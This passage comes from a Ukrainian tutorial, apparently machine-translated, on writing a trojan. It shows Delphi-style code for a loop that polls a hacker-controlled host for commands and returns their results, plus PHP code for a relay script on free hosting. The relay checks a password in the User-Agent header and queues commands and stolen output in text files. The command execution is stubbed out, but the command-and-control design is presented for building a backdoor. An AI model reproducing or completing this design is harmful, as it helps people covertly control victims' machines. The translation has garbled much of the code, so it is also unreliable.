Код, який реалізує це, виглядає так:
// спочатку черга порожня
request: = »;
// цикл роботи трояна
while true do
begin
// відсилаємо скрипту запит
if (SendStringViaHTTP ( '127.0.0.1', 'test1.ru', 80, '/index.php', request, answer)<>0) then
begin
// якщо відіслати не вдалося - чекаємо хвилину і крутимо наступну ітерацію
sleep (1000 * SEC);
continue;
end;
// якщо відіслати вдалося - перевіримо answer
if (answer = ») then
begin
// команд від хакера немає - очистимо
reques,
// чекаємо хвилину і крутимо наступну ітерацію
request: = »;
sleep (1000 * SEC);
continue;
end;
// якщо управління дійшло сюди - в answer у нас команда хакера
// виконуємо команду
request: = DoCommand (answer);
end;
Тут answer і request у нас глобальні змінні типу AnsiString. У answer знаходиться чергова команда хакера, яку передав скрипт. Команду виконує функція DoCommand (про неї ми поговоримо трохи
пізніше). Та ж функція повертає результати виконання команди, які заносяться в request і негайно передаються скрипту. Якщо команд від скрипта не надходило, троян «засинає» на SEC секунд, а потім знову шле запит скрипту.
Тепер про функції DoCommand і про самих командах. Що б не робити з нашого прикладу справжній троян (КК-то ще діє;)), на будь-яку команду, передану хакером, троян відповідатиме текстом типу:
23.06.05 1:30:14] Прийнята до виконання команда: dir
Результат виконання:
Троян не справжній;), тому замість результату виконання команди dir виводить цей текст! ;))
Таким чином наш «троян» не виконує ніяких команд, він лише повідомляє, коли і яку
команду прийняв від скрипта. Як бачимо, все цілком цивільно - нешкідлива програма демонструє принцип;)))
// функція виконує команду і
повертає результат виконання
function DoCommand (comm: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
begin
// перевіримо, чи є там взагалі команда
if comm = "then
begin
// нет - повернемо порожній рядок
Result: = »;
exit;
end;
// якщо управління дійшло сюди, значить команда є
// зафіксуємо час надходження команди на виконання
Result: = StringOfChar ( '', 8 + 1 + 8); // 8 на dd.MM.yy, 1 на пробіл, 8 на HH: mm: ss
GetLocalTime (systime);
GetDateFormat (0, 0, @systime, 'dd.MM.yy', @Result [1], 8);
GetTimeFormat (0, 0, @systime, 'HH: mm: ss', @Result [10], 8);
// зафіксуємо команду, яка прийшла на виконання
Result: = Result + '] Прийнята до виконання команда: '+ Comm +'
';
// повідомлення про результат виконання:
Result: = Result + 'Результат виконання:
';
// якби це був справжній троян, тут би виконувалася передана
// команда і ми б дописали результат її виконання в кінець
Result,
// але тому це лише приклад, ми допишемо туди тільки цей текст:
Result: = Result + 'Троян не справжній;), тому замість результату' +
'Виконання команди '+ Comm +' виводить цей текст! ;))
';
end;
Думаю, ніяких додаткових пояснень до наведеного коду не потрібно. Уффф ... з трояном ми начебто
розібралися. Перейдемо тепер до скрипту посереднику.
Скрипт-посередник напишемо на PHP. По-перше безкоштовний хостинг з PHP - це дійсно не проблема. По-друге PHP схожий на C ++, що само по собі не може не радувати 😉
Перш за все, скрипт повинен знати пароль трояна, тому на самому початку скрипта визначимо змінну:
$ TROJAN_PSW = '<тут пароль трояна>';
При кожному зверненні скрипт повинен перевіряти, чи не троян чи до нього звернувся. Для цього достатньо подивитися поле заголовка User-Agent:
if ($ _ SERVER [ 'HTTP_USER_AGENT'] == $ TROJAN_PSW) // запит надіслав троян - обробляємо!
... ... ...
>;
Обробляючи запит трояна, спочатку подивимося, надіслав він якісь дані. Для цього перевіримо, переданий чи
скрипту параметр data. Якщо data переданий і це не порожній рядок - допишемо його в кінець файлу trojan.txt. Коли скрипт буде обробляти запит хакера, він через web-інтерфейс віддасть йому вміст файлу trojan.txt.
if (isset ($ _ POST [ 'data'])) // є параметр data!
$ Data = $ _POST [ 'data'];
if ($ data! = ») // рядок в $ data не порожня - допишемо її
в
// файл trojan.txt
$ F = fopen ( 'trojan.txt', 'a +');
fwrite ($ f, $ data. »
»);
fclose ($ f);
>;
>;
Далі нам необхідно передати трояни чергову
команду від хакера. Команди, які хакер передає скрипту, зберігаються в текстовому файлі hacker.txt. Тому ми для початку перевіримо, чи існує файл hacker.txt взагалі:
if (file_exists ( 'hacker.txt')) // файл існує - працюємо з ним
... ... ...
>;
У кожному рядку файлу hacker.txt міститься по одній команді. Це дуже зручно, тому що ми повинні віддавати трояни якраз по одній команді за запит. Причому в тому ж порядку, в якому хакер надсилав ці команди скрипту.
Реалізується це так. Спершу ми зчитуємо файл в масив $ a:
// кожен рядок файлу стає елементом масиву
$ A = file ( 'hacker.txt');
Потім перевіряємо, чи не порожній чи масив - адже файл hacker.txt може існувати, але бути порожнім. Якщо масив не порожній, ми беремо з нього перший елемент (вірніше нульовий елемент - першу команду в файлі hacker.txt). Перш ніж віддати команду скрипту, ми її «почистимо»: приберемо байти 0x0D, 0x0A (функції addcslashes і replace) і прогалини на початку і кінці (функція trim). Потім ми віддамо «почищену» команду трояни і видалимо hacker.txt:
if (count ($ a)> 0) print trim (str_replace ( '\ r', », str_replace ( '\ n',», (addcslashes ($ a [0], «\ r \ n")))) );
unlink ( 'hacker.txt');
>;
Якщо передана нами команди була єдиною, ми залишимо все як є - при потребі скрипт знову створить файл hacker.txt. Якщо ж крім в hacker.txt були інші команди, створимо цей файл заново і запишемо їх туди - але вже без першої, тому що її віддали скрипту:
// чи є ще команди?
if (count ($ a)> 1) // так! - запишемо їх назад в hacker.txt
$ F = fopen ( 'hacker.txt', 'w');
for ($ i = 1; $ i
fclose ($ f);
>;
На цьому робота з трояном завершена - пошлемо йому рядок '